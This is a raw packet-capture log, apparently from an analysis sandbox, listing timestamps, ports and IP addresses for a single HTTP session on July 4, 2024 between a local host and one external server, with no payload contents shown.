Jul 4, 2024 20:34:13.148623943 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:13.148642063 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:13.148653030 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.148663044 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.148672104 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.148689032 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.148699999 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:13.148706913 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.148716927 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.148725986 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.148730993 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:13.148751020 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.148752928 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:13.148761988 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.148763895 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:13.148771048 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.148786068 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.148793936 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:13.148797035 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.148806095 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.148818970 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:13.148845911 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:13.148865938 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.148878098 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.148888111 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.148916006 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:13.148932934 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.148942947 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.148957968 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.148967981 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.148973942 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:13.149000883 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:13.149039030 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.149049997 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.149087906 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:13.149115086 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.149126053 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.149137020 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.149163008 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:13.149178028 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:13.149204969 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.149215937 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.149224997 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.149250984 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:13.149276018 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:13.149283886 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.149295092 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.149305105 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.149327993 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:13.149343967 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:13.149358034 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.149368048 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.149377108 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.149388075 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.149399042 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.149403095 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:13.149426937 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:13.149437904 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:13.149533033 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.149543047 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.149554014 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.149576902 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:13.149590969 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:13.149616003 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.149626017 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.149636030 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.149646044 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.149662971 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:13.149683952 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:13.149832964 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.149843931 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.149853945 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.149864912 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.149873972 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.149879932 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:13.149883986 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.149893999 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.149904966 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:13.149904966 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.149914980 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.149921894 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:13.149946928 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:13.149971008 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.149971008 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:13.149983883 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.149992943 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.150021076 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:13.150041103 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:13.150068045 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.150079966 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.150089979 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.150099039 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.150115013 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.150116920 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:13.150125980 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.150135994 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.150140047 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:13.150146008 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.150154114 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:13.150156975 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.150167942 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.150186062 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:13.150212049 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:13.150340080 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.150351048 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.150361061 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.150368929 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.150378942 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:13.150417089 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:13.150554895 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.150566101 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.150577068 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.150604010 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:13.150621891 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:13.150646925 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.150656939 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.150666952 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.150677919 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.150695086 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:13.150722980 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:13.150810003 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.150820017 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.150830030 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.150840044 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.150851011 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.150856972 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:13.150861979 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.150872946 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.150887012 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:13.150907993 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:13.183449030 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.183475971 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.183485031 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.183511019 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:13.183527946 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:13.183590889 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.183605909 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.183617115 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.183650970 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:13.183665991 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:13.183670998 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.183681011 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.183711052 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:13.183726072 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:13.220813990 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.220830917 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.220840931 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.220874071 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:13.220887899 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.220896959 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.220909119 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:13.220911026 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.220921040 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.220937967 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:13.220969915 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:13.220973969 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.220983982 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.220993996 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.221016884 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:13.221034050 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:13.221143007 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.221153021 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.221163034 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.221173048 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.221180916 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.221182108 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:13.221190929 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.221199989 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.221203089 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:13.221209049 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.221218109 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.221226931 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.221230984 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:13.221235991 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.221251965 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:13.221261978 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:13.221280098 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:13.244981050 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.245028973 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.245038986 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.245078087 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:13.245110035 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:13.245136976 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.245146990 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.245157003 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.245166063 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.245176077 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.245177984 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:13.245199919 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:13.245213032 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.245223045 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.245227098 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:13.245232105 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.245242119 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.245254993 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:13.245265961 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:13.245292902 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:13.245321989 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.245332003 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.245340109 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.245347977 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.245357990 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.245359898 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:13.245378971 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:13.245399952 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:13.245452881 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.245461941 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.245471954 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.245481014 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.245493889 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.245502949 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.245502949 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:13.245518923 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:13.245521069 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.245532036 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.245541096 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.245546103 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:13.245574951 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:13.245589972 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:13.245677948 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.245687008 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.245696068 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.245704889 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.245714903 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.245723963 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.245727062 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:13.245733023 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.245759964 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:13.245779991 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:13.246206999 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.246247053 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:13.246336937 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.246378899 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:13.246387005 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.246397018 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.246434927 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:13.246598005 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.246608019 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.246617079 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.246630907 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.246645927 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:13.246659994 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:13.246689081 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:13.246721983 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.246767998 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:13.246843100 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.246881962 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:13.247008085 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.247018099 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.247041941 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:13.247061014 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:13.247071028 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.247081041 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.247090101 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.247098923 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.247117996 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:13.247143030 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:13.247605085 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.247613907 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.247623920 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.247654915 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:13.247679949 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:13.247847080 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.247857094 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.247865915 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.247899055 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:13.247920036 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:13.247929096 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.247937918 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.247946978 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.247956038 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.247965097 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:13.247975111 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:13.248002052 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.248003960 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:13.248012066 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.248044014 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:13.248127937 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.248136044 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.248145103 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.248153925 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.248162031 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.248172045 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.248172045 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:13.248182058 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.248199940 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:13.248215914 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:13.248610973 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.248620987 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.248630047 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.248637915 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.248647928 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.248653889 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:13.248657942 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.248667955 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.248675108 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.248684883 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.248686075 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:13.248693943 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.248703957 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.248713017 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.248718023 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:13.248723030 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.248733044 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.248735905 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:13.248749971 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:13.248775959 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:13.279416084 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.279427052 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.279436111 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.279490948 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:13.279504061 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.279512882 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.279522896 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.279532909 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.279541016 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:13.279557943 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:13.279586077 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:13.316574097 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.316587925 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.316605091 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.316615105 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.316626072 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.316636086 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.316637039 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:13.316647053 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.316679001 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:13.316694975 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:13.331535101 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.331543922 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.331553936 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.331568956 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.331578016 CEST	80	49731	77.91.77.81	192.168.2.4
